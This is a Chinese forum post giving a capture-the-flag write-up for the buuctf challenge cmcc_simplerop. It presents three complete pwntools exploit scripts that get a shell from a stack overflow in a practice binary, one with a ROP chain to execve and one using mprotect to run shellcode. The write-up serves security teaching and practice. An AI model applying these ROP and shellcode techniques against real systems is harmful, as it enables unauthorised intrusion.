吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1853|回复: 8
收起左侧

[原创] [栈溢出进阶小技巧] cmcc_simplerop一题多解

  [复制链接]
bnuzgn 发表于 2023-8-16 17:35
题目来源

buuctf——cmcc_simplerop

参考链接

https://blog.csdn.net/A951860555/article/details/115286266

https://www.cnblogs.com/bhxdn/p/12330142.html

题目信息

32位,ubuntu16

    1.png

本身是静态链接程序

    2.png

溢出点很明确,在main函数中,且程序本身没有system与execve函数可以利用。

    3.png

ghidra给出的解析中buff的偏移为0x24,但是跟实际情况不一样,网友发的IDA中buff偏移为0x14,也不对,说明静态。

    4.png

解题步骤

有三种方法:
  • 参考inndy_rop使用ropchain,但是需要注意的是这种模板生成的payload很长,需要自行修剪。
  • 自行构建ropchain,相比与方法一更有挑战性一点,详见关键步骤2.
  • 上面介绍到的两种方法都是实现execve系统调用来获取到shell的,那么最简单的实现execve系统调用的方式就是利用shellcode。不过该样本开启了NX保护,所以无法直接使用shellcode,那么就需要利用mprotect函数开辟出一个可写可执行的内存区域。

方法三结合了方法二的构建rop chain的技巧,利用mprotect函数。

     mprotect函数原型如下:int mprotect(const void *start, size_t len, int prot);


    • 第一个是开辟的地址起始位置,需要和内存页对齐,也就是能被0x1000整除;
    • 第二参数也需要是内存页的整数倍;
    • 第三个是开辟的内存属性,7代表可读可写可执行。

关键步骤

1、获取真实的栈偏移

首先使用cyclic生成每四个字母都很独特的序列。

    5.png

在调试中在溢出点处输入这个序列,会将ret_addr覆盖成该序列中的某4个连续字母,且无法访问所代表的内存,因此报错。

    6.png

将这四个字符放回cyclic中查询,可以得到首字母的偏移,即可获得程序运行时真实的偏移量为32。

    7.png

2、方法二构建巧妙的ROP Chain

方法二中ropchain需要完成以下的任务:
  • 使用read函数将"/bin/sh\x00"读入bss段中。
  • 调用int 80系统调用,将eax设置为11,并将execve的参数保存在寄存器中。

其中调用read函数的时候需要将read的参数从栈中弹出,这样才能继续执行后续gadget。read函数有三个参数,因此直接复用后面要使用的pop_edx_ecx_ebx_ret达到我们的目的。

payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(binsh_addr) + p32(0x8)

此时我们可以执行第二步操作

payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)sl(payload)sd('/bin/sh\x00')

可能需要解释一下为什么最后将sd('/bin/sh\x00')放在payload之后输入是有效的。'/bin/sh\x00'的保存位置在我们设置的bss段中,即binsh_addr的地址,程序在将payload输入之后又向缓冲区中输入了'/bin/sh\x00'。前者保存在栈空间中(因为是sendline),后者保存在服务器的缓冲区中等待read函数的执行。

wp1

修改了最后的部分,将pop rax;ret 的gadget替换原有的一点点rax增加。

[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "./simplerop"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",28961)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

p = b'a'*0x20

p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack(b'<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806e850) # pop_edx_ecx_ebx ; ret
p += p32(0)+p32(0)+p32(0x080ea060)
p += pack(b'<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack(b'<I', 0x080493e1) # int 0x80


sla("Your input :",p)
ti()

wp2

本题没有开启pie,bss的地址就是绝对地址,这里从Ghidra的逆向中随随便便找了一个空的bss地址。
[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "./simplerop"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",28961)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

int_80_addr = 0x080493e1
pop_eax = 0x080bae06
read_addr= 0x0806CD50
binsh_addr = 0x080eb7c3
pop_edx_ecx_ebx_ret = 0x0806e850

payload = b'a'*0x20
payload += p32(read_addr) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(binsh_addr) + p32(8)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh_addr) + p32(pop_eax) + p32(11) + p32(int_80_addr)

sla("Your input :",payload)
sd('/bin/sh\x00')
ti()
wp3

我直接用的bss段所在的那一页中的一部分0x080eb000

    8.png

[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "./simplerop"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",28961)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

shell = asm(shellcraft.sh())
mprotect_addr = elf.sym['mprotect']
read_addr= 0x0806CD50
pop_edx_ecx_ebx_ret = 0x0806e850
code_addr = 0x080eb000

payload = b'a'*0x20
payload += p32(mprotect_addr) + p32(pop_edx_ecx_ebx_ret) + p32(code_addr) + p32(0x1000) + p32(7)
payload += p32(read_addr) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(code_addr) + p32(len(shell)) + p32(code_addr)

sla("Your input :",payload)
sd(shell)
ti()

免费评分

参与人数 4威望 +1 吾爱币 +22 热心值 +4 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
random1 + 1 + 1 用心讨论,共获提升!
Spacecraft + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

amwquhwqas128 发表于 2023-8-16 22:56
学习了思路,感谢
zzzzzyihang 发表于 2023-8-17 09:23
虽然有点看不懂,但是出栈和入栈 还是会一点的
Spacecraft 发表于 2023-8-17 10:55
wault 发表于 2023-8-17 13:30
支持一下
taoxwl666 发表于 2023-8-17 17:22
这个思路很好,感谢
binarystudy123 发表于 2023-8-17 19:57
学到了,希望以后能在题目中遇到类似的
rbj520 发表于 2023-8-18 08:21
感谢分享,学习了
huangyankun 发表于 2023-8-18 12:13

感谢分享,学习了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-29 12:50

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表